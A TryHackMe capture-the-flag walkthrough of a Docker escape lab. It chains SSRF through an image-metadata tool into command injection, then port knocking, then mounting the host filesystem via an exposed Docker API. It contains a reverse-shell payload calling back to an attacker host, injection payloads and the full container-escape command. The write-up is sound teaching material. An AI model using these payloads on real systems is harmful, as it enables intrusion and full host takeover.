This is the medium box on TryHackMe website. It requires the some knowledge about docker. Lets start
Enumeration
Port Scanning
Lets start some nmap
nmap -p- -v 10.10.176.168
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
It return to us 2 port is 80 and 22. We know that there is a webserver on port 80. Let’s start with the webserver
Webserver on port 80
At a first glance, we can see it has login function. I try to login with some default credential admin:admin
, admin:password
, … but it doesn’t work, so I think it is not the correct path to guess or brute force the password. I also try to sign up but it is not working now.
Directory brute forcing
Let brute force to find some juicy path.
gobuster dir -u http://escape.thm -w /usr/share/wordlists/dirb/common.txt -t 20
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://escape.thm/af7a2ad0-813c-4bf4-9b93-bfa63ebcda4c => 200 (Length: 3834). To continue please exclude the status code, the length or use the --wildcard switch
It look like we cannot use gobuster
on this site. So we change to wfuzz
wfuzz --hl 9,7 -u http://escape.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 20
But it does not give us any information. So i guess there is some Rate limit
mechanism on this site. So that we cannot brute forcing
Source code dumping
Now I try to look inside the source code of the page by using browser dev tool.
According to this we can see there are 5 source file. Sadly, after reading I found this line.
e('p', [
this._v('If you can read this then I\'m sorry Mario, but the princess is in another castle')
])
It is very kind that the creator told us that this is the wrong path. But I don’t believe it so I continue reading. Finnaly, I found nohting useful here …
/robots.txt
Suddenly, I remember I am not checking the robots.txt
file. It does give us a lot of usefull information here:
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
We found that there is 3 more path here. Let’s go through it one by one.
/exif-util
This is a page where can upload image or put the url to the image and the server will run the exif
on that image. Now there are 3 way I can think of to exploit this one:
- File upload to reverse shell
- SSRF
- OS command injection (cause it can be run some os command for processing the image)
I try the first way to upload some PHP code to make a reverse shell back to my machine but it only accept png
so I think it is not the correct path. Now, SSRF seems to be a possible way to exploit. We will continue with this in the enumeration part.
/*.bak.txt
Usually, bak
stands for backup. So I guess this is backup file but backup for what. It could be the backup for the source code of each page on the front end. So try to combine the name of each page with .bak.txt
to found the backup for that page:
- login.bak.txt/ register.bak.txt
- index.bak.txt
- api.bak.txt
- exif-util.bak.txt
Luckily, we go the result form http://< ip >/exif-util.bak.txt
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
Look up the script we know that we that it will make a request to a server http://api-dev-backup:8080/exif
with our payload (which is the url for the image we put in the exif-util
site). Let try to see what is on port 8080
Sadly, the only thing waiting for us is the error message. We can conclude that port 8080 can only be access by internal server (it can explain why the port 8080 does not appear in our nmap scan). So how to access this? It time for the SSRF.
Exploit
SSRF
I used Burp Suite to capture the request when we submit the url in /exif-util
page and send it to Burp Suite Repeater
for more convinient. Now let’s try to access the server on port 8080 with SSRF attack:
The reason we can access this is the request to this port come from the internal server (cause we ask the server to get the image on the path http://api-dev-backup:8080/
, which also is http://localhost:8080/
). You can see here is the API server.
SSRF to OS command Injection
I try to replica the reuqest to API server with the api we use to submit the URL
?url=http://api-dev-backup:8080/exif?url=http://10.10.44.7/
And it return our index page
I believe the server use some OS command to connect to our payload and then process the reponse. So I try the payload with syntax like ?url=payload;<command>
to see can we run some command. I try with this payload ?url=http://api-dev-backup:8080/exif?url=a;id
and we got this response:
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
Notice the last line, so our command id
has run successfull.
Root flag
I try to spawn a reverse to my machine with payload ?url=http://api-dev-backup:8080/exif?url=a;bash -i >& /dev/tc<ip>/7777 0>&1
but we got this reponse:
An error occurred: HTTP Exception 400 Bad Request
Response was:
---------------------------------------
<-- 400 http://api-dev-backup:8080/exif?url=a;bash%20-i%20%3E&%20/dev/tcp/10.17.7.60/7777%200%3E&1
...
Sadly, our request is encoded and does not run successfull. I try serveral differently payload it does not success. The machine don’t have such tool like wget, python, … so we dont have a lot of option for spawn a reverse shell. I also try curl -F
to upload my ssh key to .authorized_key
on this server but it failed. So i started to enumerate the machine without spawn a shell.
Look what I found at the root folder:
There is 2 thing we want to look carefull here is the dev-note.txt
and folder .git
. Let’s see dev-note.txt
first
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra
We got the credential is hyrda:fluffybunnies123
. I try to ssh with that credential. However the machine block our SSH. So we move on with the .git
folder. The way to enumerate information from git is see all of its all commit with command git log
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date: Thu Jan 7 16:48:58 2021 +0000
fixed the dev note
commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Removed the flag and original dev note b/c Security
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
Let see some old commit with command git show a3d30a7d0510dc6565ff9316e3fb84434916dee8
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{xxxxxxxxxxxxxxxxxxxxxxx}
\ No newline at end of file
And we got the root flag here. But is not a real one cause this server is running on the docker and all the thing we done for now is just inside a docker.
Real root flag
We can see on the commit is that if we knock ports 42, 1337, 10420, 6969, and 63000, it will open another port to access to docker. Let’s try to knock it
Port knocking
root@kali:~# knock -v 10.10.44.7 42 1337 10420 6969, 63000
hitting tcp 10.10.44.7:42
hitting tcp 10.10.44.7:1337
hitting tcp 10.10.44.7:10420
hitting tcp 10.10.44.7:6969
hitting tcp 10.10.44.7:63000
And lets start nmap again to see any port open now. Sadly, nothing new. Maybe I knock the wrong way so I try to knock again with netcat
nc escape.thm 42;
nc escape.thm 1337;
nc escape.thm 10420;
nc escape.thm 6969;
nc escape.thm 63000;
Let start scanning again
nmap -p- -v 10.10.176.168
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2375/tcp open docker
We found 1 more port for docker.
Exploit docker
Docker is a container which provide environment for many project. First we need to find out which image is running on the docker container (if you dont know docker try using flag --help
for each command):
root@kali:~# docker -H 10.10.44.7 image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 6 months ago 214MB
exif-api latest 923c5821b907 6 months ago 163MB
frontend latest 577f9da1362e 6 months ago 138MB
endlessh latest 7bde5182dc5e 6 months ago 5.67MB
nginx latest ae2feff98a0c 7 months ago 133MB
debian 10-slim 4a9cd57610d6 7 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 7 months ago 103MB
alpine 3.9 78a2ce922f86 15 months ago 5.55MB
After a while of searching, I found out that we can actually mounth 1 folder on the real machine to docker image using docker volume
(link1, link2) like in the image below
We can use this command to mount:
docker -H tcp://<docker-ip>:2375 run -it --rm -v /root:/mnt/root alpine:3.9
Let break down it:
docker -H tcp://10.10.55.209:2375 run
: to connect to container and run flag allow us to run docker command on that container-it
: tells docker that it should open an interactive container instance (mean allow us to interact with the container like a shell)--rm
: remove the mount on the image after exit-v /:/mnt/root alpine:3.9
: using docker volume with flag-v
to bind mount the folder/
on the real machine to folder/mnt/root
on the imagealpine
with tag3.9
(use can use other image likedebian:10-slim
too)
Using that command we can successfully mount to the image and spawn shell to controll the image. You can then access to /mnt/root
in order to access to your mounth folder to find the flag on the real machine:
root@kali:~# docker -H tcp://10.10.44.7:2375 run -it --rm -v /:/mnt/root alpine:3.9
/ # whoami
root
/ # cd /mnt/root/
/mnt/root # ls
bin initrd.img media run tmp
boot initrd.img.old mnt sbin usr
dev lib opt srv var
etc lib64 proc swapfile vmlinuz
home lost+found root sys vmlinuz.old
/mnt/root # cd root
/mnt/root/root # ls
flag.txt
/mnt/root/root # cat flag.txt
Congrats, you found the real flag!
THM{xxxxxxxxxxxxxxxxxxxxxxxxxx}
/mnt/root/root #
And now we successfully find the real flag
Simple webapp flag
I can’t found it on the webapp, so find it later after mount the folder to our image, we can free move around and find this flag . When you access to home folder you will see the folder for user hydra
. Here you can find the way to the flag.
/mnt/root/home/hydra/docker-escape-compose/front/dist # ls -la
total 260
drwxrwxr-x 8 1000 1000 4096 Jan 7 2021 .
drwxrwxr-x 4 1000 1000 4096 Jan 6 2021 ..
-rw-rw-r-- 1 1000 1000 0 Jan 6 2021 .nojekyll
drwxrwxr-x 2 1000 1000 4096 Jan 6 2021 .well-known
-rw-rw-r-- 1 1000 1000 3834 Jan 6 2021 200.html
-rw-rw-r-- 1 1000 1000 435 Jan 6 2021 README.md
drwxrwxr-x 4 1000 1000 4096 Jan 6 2021 _nuxt
drwxrwxr-x 2 1000 1000 4096 Jan 6 2021 admin
-rw-rw-r-- 1 1000 1000 8139 Jan 6 2021 android-icon-144x144.png
-rw-rw-r-- 1 1000 1000 9125 Jan 6 2021 android-icon-192x192.png
-rw-rw-r-- 1 1000 1000 2329 Jan 6 2021 android-icon-36x36.png
-rw-rw-r-- 1 1000 1000 2645 Jan 6 2021 android-icon-48x48.png
-rw-rw-r-- 1 1000 1000 3753 Jan 6 2021 android-icon-72x72.png
-rw-rw-r-- 1 1000 1000 5049 Jan 6 2021 android-icon-96x96.png
-rw-rw-r-- 1 1000 1000 6042 Jan 6 2021 apple-icon-114x114.png
-rw-rw-r-- 1 1000 1000 6483 Jan 6 2021 apple-icon-120x120.png
-rw-rw-r-- 1 1000 1000 8139 Jan 6 2021 apple-icon-144x144.png
-rw-rw-r-- 1 1000 1000 8790 Jan 6 2021 apple-icon-152x152.png
-rw-rw-r-- 1 1000 1000 11228 Jan 6 2021 apple-icon-180x180.png
-rw-rw-r-- 1 1000 1000 3070 Jan 6 2021 apple-icon-57x57.png
-rw-rw-r-- 1 1000 1000 3127 Jan 6 2021 apple-icon-60x60.png
-rw-rw-r-- 1 1000 1000 3753 Jan 6 2021 apple-icon-72x72.png
-rw-rw-r-- 1 1000 1000 3980 Jan 6 2021 apple-icon-76x76.png
-rw-rw-r-- 1 1000 1000 9699 Jan 6 2021 apple-icon-precomposed.png
-rw-rw-r-- 1 1000 1000 9699 Jan 6 2021 apple-icon.png
-rw-rw-r-- 1 1000 1000 281 Jan 6 2021 browserconfig.xml
drwxrwxr-x 2 1000 1000 4096 Jan 6 2021 courses
drwxrwxr-x 2 1000 1000 4096 Jan 6 2021 exif-util
-rw-rw-r-- 1 1000 1000 1479 Jan 6 2021 exif-util.bak.txt
-rw-rw-r-- 1 1000 1000 1383 Jan 6 2021 favicon-16x16.png
-rw-rw-r-- 1 1000 1000 2159 Jan 6 2021 favicon-32x32.png
-rw-rw-r-- 1 1000 1000 5049 Jan 6 2021 favicon-96x96.png
-rw-rw-r-- 1 1000 1000 1150 Jan 6 2021 favicon.ico
-rw-rw-r-- 1 1000 1000 3834 Jan 6 2021 index.html
drwxrwxr-x 2 1000 1000 4096 Jan 6 2021 login
-rw-rw-r-- 1 1000 1000 720 Jan 6 2021 manifest.json
-rw-rw-r-- 1 1000 1000 8139 Jan 6 2021 ms-icon-144x144.png
-rw-rw-r-- 1 1000 1000 8659 Jan 6 2021 ms-icon-150x150.png
-rw-rw-r-- 1 1000 1000 27427 Jan 6 2021 ms-icon-310x310.png
-rw-rw-r-- 1 1000 1000 3756 Jan 6 2021 ms-icon-70x70.png
-rw-rw-r-- 1 1000 1000 84 Jan 7 2021 robots.txt
/mnt/root/home/hydra/docker-escape-compose/front/dist # cd .well-known/
/mnt/root/home/hydra/docker-escape-compose/front/dist/.well-known # ls
security.txt
/mnt/root/home/hydra/docker-escape-compose/front/dist/.well-known # cat security.txt
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /api/fl46 with a HEAD request for a nifty treat.
Let use Burp Suite to change to request type to HEAD and you will get the flag in the reponse.